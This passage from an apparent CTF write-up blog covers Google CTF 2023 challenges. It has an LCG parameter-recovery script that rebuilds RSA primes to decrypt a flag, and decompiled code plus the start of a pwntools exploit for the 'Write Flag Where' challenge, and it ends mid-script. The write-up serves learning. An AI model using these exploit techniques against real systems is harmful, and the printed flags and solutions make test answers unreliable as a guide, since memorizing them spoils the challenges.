    <span class="k">with</span> <span class="nb">open</span> <span class="p">(</span><span class="s">"public.pem"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">pub_file</span><span class="p">:</span>
        <span class="n">pub_file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">rsa</span><span class="p">.</span><span class="n">exportKey</span><span class="p">().</span><span class="n">decode</span><span class="p">())</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<p>This challenge is first generates p and q using a lcg, then use the p and q generated to encrypted the flag using rsa. Notice that the seed for lcg is provided, and the first 6 output of the lcg is provided. Therefore, if we recover the parameters for lcg, we can re-generate the same p and q from the program, and decrypt rsa accordingly.</p>

<p>While recovering m and c is trivial, recovering n is harder. I found <a href="https://github.com/jvdsn/crypto-attacks/blob/master/attacks/lcg/parameter_recovery.py">this script</a> and modify it a bit since the modulus end up not being a prime. After recoving the parameters, the rest of the solve are straight forward.</p>

<p><code class="language-plaintext highlighter-rouge">CTF{C0nGr@tz_RiV35t_5h4MiR_nD_Ad13MaN_W0ulD_b_h@pPy}</code></p>

<div class="accordion mb-2" id="lcg_solve_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-lcg_solve_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#lcg_solve_py-content" aria-expanded="true" aria-controls="lcg_solve_py-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="lcg_solve_py-content" class="accordion-collapse collapse" aria-labelledby="hd-lcg_solve_py" data-bs-parent="#lcg_solve_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">math</span> <span class="kn">import</span> <span class="n">gcd</span>
<span class="kn">from</span> <span class="nn">sage.all</span> <span class="kn">import</span> <span class="n">GF</span><span class="p">,</span> <span class="n">Zmod</span>
<span class="kn">from</span> <span class="nn">sage.all</span> <span class="kn">import</span> <span class="n">is_prime_power</span>
<span class="kn">from</span> <span class="nn">Crypto.PublicKey</span> <span class="kn">import</span> <span class="n">RSA</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">bytes_to_long</span><span class="p">,</span> <span class="n">isPrime</span><span class="p">,</span> <span class="n">long_to_bytes</span>

<span class="c1"># https://github.com/jvdsn/crypto-attacks/blob/master/attacks/lcg/parameter_recovery.py
# with some modification
</span><span class="k">def</span> <span class="nf">attack</span><span class="p">(</span><span class="n">y</span><span class="p">,</span> <span class="n">m</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">a</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">c</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
    <span class="s">"""
    Recovers the parameters from a linear congruential generator.
    If no modulus is provided, attempts to recover the modulus from the outputs (may require many outputs).
    If no multiplier is provided, attempts to recover the multiplier from the outputs (requires at least 3 outputs).
    If no increment is provided, attempts to recover the increment from the outputs (requires at least 2 outputs).
    :param y: the sequential output values obtained from the LCG
    :param m: the modulus of the LCG (can be None)
    :param a: the multiplier of the LCG (can be None)
    :param c: the increment of the LCG (can be None)
    :return: a tuple containing the modulus, multiplier, and the increment
    """</span>
    <span class="k">if</span> <span class="n">m</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
        <span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="n">y</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="mi">4</span><span class="p">,</span> <span class="s">"At least 4 outputs are required to recover the modulus"</span>
        <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">y</span><span class="p">)</span> <span class="o">-</span> <span class="mi">3</span><span class="p">):</span>
            <span class="n">d0</span> <span class="o">=</span> <span class="n">y</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">-</span> <span class="n">y</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
            <span class="n">d1</span> <span class="o">=</span> <span class="n">y</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">2</span><span class="p">]</span> <span class="o">-</span> <span class="n">y</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span>
            <span class="n">d2</span> <span class="o">=</span> <span class="n">y</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">3</span><span class="p">]</span> <span class="o">-</span> <span class="n">y</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">2</span><span class="p">]</span>
            <span class="n">g</span> <span class="o">=</span> <span class="n">d2</span> <span class="o">*</span> <span class="n">d0</span> <span class="o">-</span> <span class="n">d1</span> <span class="o">*</span> <span class="n">d1</span>
            <span class="n">m</span> <span class="o">=</span> <span class="n">g</span> <span class="k">if</span> <span class="n">m</span> <span class="ow">is</span> <span class="bp">None</span> <span class="k">else</span> <span class="n">gcd</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">m</span><span class="p">)</span>

        <span class="c1">#assert is_prime_power(m), "Modulus must be a prime power, try providing more outputs"
</span>
    <span class="n">gf</span> <span class="o">=</span> <span class="n">Zmod</span><span class="p">(</span><span class="n">m</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">a</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
        <span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="n">y</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="mi">3</span><span class="p">,</span> <span class="s">"At least 3 outputs are required to recover the multiplier"</span>
        <span class="n">x0</span> <span class="o">=</span> <span class="n">gf</span><span class="p">(</span><span class="n">y</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
        <span class="n">x1</span> <span class="o">=</span> <span class="n">gf</span><span class="p">(</span><span class="n">y</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
        <span class="n">x2</span> <span class="o">=</span> <span class="n">gf</span><span class="p">(</span><span class="n">y</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
        <span class="n">a</span> <span class="o">=</span> <span class="nb">int</span><span class="p">((</span><span class="n">x2</span> <span class="o">-</span> <span class="n">x1</span><span class="p">)</span> <span class="o">/</span> <span class="p">(</span><span class="n">x1</span> <span class="o">-</span> <span class="n">x0</span><span class="p">))</span>

    <span class="k">if</span> <span class="n">c</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
        <span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="n">y</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="mi">2</span><span class="p">,</span> <span class="s">"At least 2 outputs are required to recover the multiplier"</span>
        <span class="n">x0</span> <span class="o">=</span> <span class="n">gf</span><span class="p">(</span><span class="n">y</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
        <span class="n">x1</span> <span class="o">=</span> <span class="n">gf</span><span class="p">(</span><span class="n">y</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
        <span class="n">c</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">x1</span> <span class="o">-</span> <span class="n">a</span> <span class="o">*</span> <span class="n">x0</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">m</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">c</span>

<span class="n">lcg</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">int</span><span class="p">,</span> <span class="nb">open</span><span class="p">(</span><span class="s">"dump.txt"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">).</span><span class="n">read</span><span class="p">().</span><span class="n">split</span><span class="p">()))</span>
<span class="n">seed</span> <span class="o">=</span> <span class="mi">211286818345627549183608678726370412218029639873054513839005340650674982169404937862395980568550063504804783328450267566224937880641772833325018028629959635</span>
<span class="n">lcg</span> <span class="o">=</span> <span class="p">[</span><span class="n">seed</span><span class="p">]</span> <span class="o">+</span> <span class="n">lcg</span>

<span class="k">print</span><span class="p">(</span><span class="n">lcg</span><span class="p">)</span>
<span class="n">m</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">c</span> <span class="o">=</span> <span class="n">attack</span><span class="p">(</span><span class="n">lcg</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span>

<span class="c1"># verify output
</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">lcg</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">):</span>
    <span class="k">assert</span> <span class="p">(</span><span class="n">a</span><span class="o">*</span><span class="n">lcg</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">+</span><span class="n">c</span><span class="p">)</span><span class="o">%</span><span class="n">m</span> <span class="o">==</span> <span class="n">lcg</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span>

<span class="c1"># taken from generate.py
</span><span class="k">class</span> <span class="nc">LCG</span><span class="p">:</span>
    <span class="k">global</span> <span class="n">m</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">c</span>
    <span class="n">lcg_m</span> <span class="o">=</span> <span class="n">a</span>
    <span class="n">lcg_c</span> <span class="o">=</span> <span class="n">c</span>
    <span class="n">lcg_n</span> <span class="o">=</span> <span class="n">m</span>

    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">lcg_s</span><span class="p">):</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">state</span> <span class="o">=</span> <span class="n">lcg_s</span>

    <span class="k">def</span> <span class="nf">next</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">state</span> <span class="o">=</span> <span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">state</span> <span class="o">*</span> <span class="bp">self</span><span class="p">.</span><span class="n">lcg_m</span> <span class="o">+</span> <span class="bp">self</span><span class="p">.</span><span class="n">lcg_c</span><span class="p">)</span> <span class="o">%</span> <span class="bp">self</span><span class="p">.</span><span class="n">lcg_n</span>
        <span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">state</span>

<span class="c1"># Find prime value of specified bits a specified amount of times
</span><span class="n">seed</span> <span class="o">=</span> <span class="mi">211286818345627549183608678726370412218029639873054513839005340650674982169404937862395980568550063504804783328450267566224937880641772833325018028629959635</span>
<span class="n">lcg</span> <span class="o">=</span> <span class="n">LCG</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
<span class="n">primes_arr</span> <span class="o">=</span> <span class="p">[]</span>

<span class="n">dump</span> <span class="o">=</span> <span class="bp">False</span>
<span class="n">items</span> <span class="o">=</span> <span class="mi">0</span>
<span class="c1">#dump_file = open("dump.txt", "w")
</span>
<span class="n">primes_n</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
        <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
            <span class="n">prime_candidate</span> <span class="o">=</span> <span class="n">lcg</span><span class="p">.</span><span class="nb">next</span><span class="p">()</span>
            <span class="k">if</span> <span class="n">dump</span><span class="p">:</span>
                <span class="n">dump_file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">prime_candidate</span><span class="p">)</span> <span class="o">+</span> <span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
                <span class="n">items</span> <span class="o">+=</span> <span class="mi">1</span>
                <span class="k">if</span> <span class="n">items</span> <span class="o">==</span> <span class="mi">6</span><span class="p">:</span>
                    <span class="n">dump</span> <span class="o">=</span> <span class="bp">False</span>
                    <span class="n">dump_file</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
            <span class="k">if</span> <span class="ow">not</span> <span class="n">isPrime</span><span class="p">(</span><span class="n">prime_candidate</span><span class="p">):</span>
                <span class="k">continue</span>
            <span class="k">elif</span> <span class="n">prime_candidate</span><span class="p">.</span><span class="n">bit_length</span><span class="p">()</span> <span class="o">!=</span> <span class="mi">512</span><span class="p">:</span>
                <span class="k">continue</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">primes_n</span> <span class="o">*=</span> <span class="n">prime_candidate</span>
                <span class="n">primes_arr</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">prime_candidate</span><span class="p">)</span>
                <span class="k">break</span>

    <span class="c1"># Check bit length
</span>    <span class="k">if</span> <span class="n">primes_n</span><span class="p">.</span><span class="n">bit_length</span><span class="p">()</span> <span class="o">&gt;</span> <span class="mi">4096</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"bit length"</span><span class="p">,</span> <span class="n">primes_n</span><span class="p">.</span><span class="n">bit_length</span><span class="p">())</span>
        <span class="n">primes_arr</span><span class="p">.</span><span class="n">clear</span><span class="p">()</span>
        <span class="n">primes_n</span> <span class="o">=</span> <span class="mi">1</span>
        <span class="k">continue</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">break</span>

<span class="c1"># Create public key 'n'
</span><span class="n">n</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="n">primes_arr</span><span class="p">:</span>
    <span class="n">n</span> <span class="o">*=</span> <span class="n">j</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[+] Public Key: "</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[+] size: "</span><span class="p">,</span> <span class="n">n</span><span class="p">.</span><span class="n">bit_length</span><span class="p">(),</span> <span class="s">"bits"</span><span class="p">)</span>

<span class="c1"># now decrypt the flag with p and q
</span><span class="k">print</span><span class="p">(</span><span class="n">primes_arr</span><span class="p">)</span>
<span class="n">phi</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">primes_arr</span><span class="p">:</span>
    <span class="n">phi</span> <span class="o">*=</span> <span class="p">(</span><span class="n">k</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>

<span class="n">key</span> <span class="o">=</span> <span class="n">RSA</span><span class="p">.</span><span class="n">importKey</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s">"public.pem"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">())</span>
<span class="k">print</span><span class="p">(</span><span class="n">key</span><span class="p">.</span><span class="n">e</span><span class="p">,</span> <span class="n">key</span><span class="p">.</span><span class="n">n</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">key</span><span class="p">.</span><span class="n">n</span> <span class="o">==</span> <span class="n">n</span><span class="p">)</span>
<span class="n">e</span> <span class="o">=</span> <span class="n">key</span><span class="p">.</span><span class="n">e</span>

<span class="n">d</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">phi</span><span class="p">)</span>

<span class="n">c</span> <span class="o">=</span> <span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">(),</span> <span class="s">"little"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">n</span><span class="p">)))</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<hr />

<h2 id="pwn">Pwn</h2>

<h3 id="write-flag-where---overview">Write Flag Where - Overview</h3>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="rouge-code"><pre>Part1:
This challenge is not a classical pwn
In order to solve it will take skills of your own
An excellent primitive you get for free
Choose an address and I will write what I see
But the author is cursed or perhaps it's just out of spite
For the flag that you seek is the thing you will write
ASLR isn't the challenge so I'll tell you what
I'll give you my mappings so that you'll have a shot.

Part2:
Was that too easy? Let's make it tough
It's the challenge from before, but I've removed all the fluff

Part3:
Your skills are considerable, I'm sure you'll agree
But this final level's toughness fills me with glee
No writes to my binary, this I require
For otherwise I will surely expire

nc wfw[123].2023.ctfcompetition.com 1337
solves 294 / 155 / 43
</pre></td></tr></tbody></table></code></pre></div></div>

<p>From reversing the challenge, we can quickly identify the behavior. The challenge first output the process map, allowing us to know pie, libc, and stack addresses. It then close stdin/stdout/stderr, and only accept inputs from fd 1337. Lastly, the challenge goes into a while loop, taking an address and a count, then write count number of bytes of flag to the specified address. Note that the flag is written by writting directly to the process memory file, so all addresses are writable, <strong>including the code themselves</strong>. This will be handy for part 3.</p>

<p>The decompiled code from ghidra for part 3, with some modification to reflect each level:</p>

<div class="accordion mb-2" id="wfw_chal_c">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-wfw_chal_c">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#wfw_chal_c-content" aria-expanded="true" aria-controls="wfw_chal_c-content">
         <p>Show chal.c</p>
 
      </button>
    </p>
    <div id="wfw_chal_c-content" class="accordion-collapse collapse" aria-labelledby="hd-wfw_chal_c" data-bs-parent="#wfw_chal_c">
      <div class="accordion-body pb-0">
          
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
</pre></td><td class="rouge-code"><pre><span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
  <span class="n">local_c</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/proc/self/maps"</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
  <span class="n">read</span><span class="p">(</span><span class="n">local_c</span><span class="p">,</span><span class="n">maps</span><span class="p">,</span><span class="mh">0x1000</span><span class="p">);</span>
  <span class="n">close</span><span class="p">(</span><span class="n">local_c</span><span class="p">);</span>
  <span class="n">local_10</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"./flag.txt"</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"flag.txt not found"</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="p">{</span>
    <span class="n">sVar2</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">local_10</span><span class="p">,</span><span class="n">flag</span><span class="p">,</span><span class="mh">0x80</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o">&lt;</span> <span class="n">sVar2</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">close</span><span class="p">(</span><span class="n">local_10</span><span class="p">);</span>
      <span class="n">local_14</span> <span class="o">=</span> <span class="n">dup2</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x539</span><span class="p">);</span>
      <span class="n">local_18</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/dev/null"</span><span class="p">,</span><span class="mi">2</span><span class="p">);</span>
      <span class="n">dup2</span><span class="p">(</span><span class="n">local_18</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
      <span class="n">dup2</span><span class="p">(</span><span class="n">local_18</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
      <span class="n">dup2</span><span class="p">(</span><span class="n">local_18</span><span class="p">,</span><span class="mi">2</span><span class="p">);</span>
      <span class="n">close</span><span class="p">(</span><span class="n">local_18</span><span class="p">);</span>
      <span class="n">alarm</span><span class="p">(</span><span class="mh">0x3c</span><span class="p">);</span>
      <span class="n">dprintf</span><span class="p">(</span><span class="n">local_14</span><span class="p">,</span>
              <span class="s">"Your skills are considerable, I</span><span class="se">\'</span><span class="s">m sure you</span><span class="se">\'</span><span class="s">ll agree</span><span class="se">\n</span><span class="s">But this final level</span><span class="se">\'</span><span class="s">s toughn ess fills me with glee</span><span class="se">\n</span><span class="s">No writes to my binary, this I require</span><span class="se">\n</span><span class="s">For otherwise I will s urely expire</span><span class="se">\n</span><span class="s">"</span>
             <span class="p">);</span>
      <span class="n">dprintf</span><span class="p">(</span><span class="n">local_14</span><span class="p">,</span><span class="s">"%s</span><span class="se">\n\n</span><span class="s">"</span><span class="p">,</span><span class="n">maps</span><span class="p">);</span>
      <span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">)</span> <span class="p">{</span>
	<span class="c1">// dprintf(local_14,"Give me an address and a length just so:\n&lt;address&gt; &lt;length&gt;\nAnd I\'ll write it wh erever you want it to go.\nIf an exit is all that you desire\nSend me nothing and I  will happily expire\n"); // part 1</span>
        <span class="n">local_78</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">local_70</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">local_68</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">local_60</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">local_58</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">local_50</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">local_48</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">local_40</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">sVar2</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">local_14</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_78</span><span class="p">,</span><span class="mh">0x40</span><span class="p">);</span>
        <span class="n">local_1c</span> <span class="o">=</span> <span class="p">(</span><span class="n">undefined4</span><span class="p">)</span><span class="n">sVar2</span><span class="p">;</span>
        <span class="n">iVar1</span> <span class="o">=</span> <span class="n">__isoc99_sscanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_78</span><span class="p">,</span><span class="s">"0x%llx %u"</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_28</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_2c</span><span class="p">);</span>
	<span class="c1">// if (((iVar1 != 2) || (0x7f &lt; local_2c))) // part 2</span>
        <span class="k">if</span> <span class="p">(((</span><span class="n">iVar1</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="mh">0x7f</span> <span class="o">&lt;</span> <span class="n">local_2c</span><span class="p">))</span> <span class="o">||</span> <span class="p">((</span><span class="n">main</span> <span class="o">-</span> <span class="mh">0x5000</span> <span class="o">&lt;</span> <span class="n">local_28</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">local_28</span> <span class="o">&lt;</span> <span class="n">main</span> <span class="o">+</span> <span class="mh">0x5000</span><span class="p">))))</span> <span class="c1">// part 3</span>
        <span class="k">break</span><span class="p">;</span>
        <span class="n">local_20</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/proc/self/mem"</span><span class="p">,</span><span class="mi">2</span><span class="p">);</span>
        <span class="n">lseek64</span><span class="p">(</span><span class="n">local_20</span><span class="p">,</span><span class="n">local_28</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
        <span class="n">write</span><span class="p">(</span><span class="n">local_20</span><span class="p">,</span><span class="n">flag</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)</span><span class="n">local_2c</span><span class="p">);</span>
        <span class="n">close</span><span class="p">(</span><span class="n">local_20</span><span class="p">);</span>
      <span class="p">}</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
      <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"flag.txt empty"</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<h3 id="write-flag-where---part-1">Write Flag Where - Part 1</h3>

<p>For part 1, there is a dprintf function call after the entrence to the while loop, so writing the flag to the string that are printed each loop can leak the flag.</p>

<p><code class="language-plaintext highlighter-rouge">CTF{Y0ur_j0urn3y_is_0n1y_ju5t_b39innin9}</code></p>

<div class="accordion mb-2" id="wfw_solve_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-wfw_solve_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#wfw_solve_py-content" aria-expanded="true" aria-controls="wfw_solve_py-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="wfw_solve_py-content" class="accordion-collapse collapse" aria-labelledby="hd-wfw_solve_py" data-bs-parent="#wfw_solve_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./chal_patched"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./libc.so.6"</span><span class="p">)</span>
<span class="n">ld</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./ld-2.35.so"</span><span class="p">)</span>

<span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">elf</span>
<span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s">"tmux"</span><span class="p">,</span> <span class="s">"splitw"</span><span class="p">,</span> <span class="s">"-h"</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">connect</span><span class="p">():</span>
        <span class="n">nc_str</span> <span class="o">=</span> <span class="s">"nc wfw1.2023.ctfcompetition.com 1337"</span>
        <span class="n">_</span><span class="p">,</span> <span class="n">host</span><span class="p">,</span> <span class="n">port</span> <span class="o">=</span> <span class="n">nc_str</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">" "</span><span class="p">)</span>
        <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">port</span><span class="p">))</span>

    <span class="k">return</span> <span class="n">p</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">p</span> <span class="o">=</span> <span class="n">connect</span><span class="p">()</span>
    <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"shot.</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
    <span class="n">s</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'-'</span><span class="p">)[</span><span class="mi">0</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">address</span><span class="p">))</span>

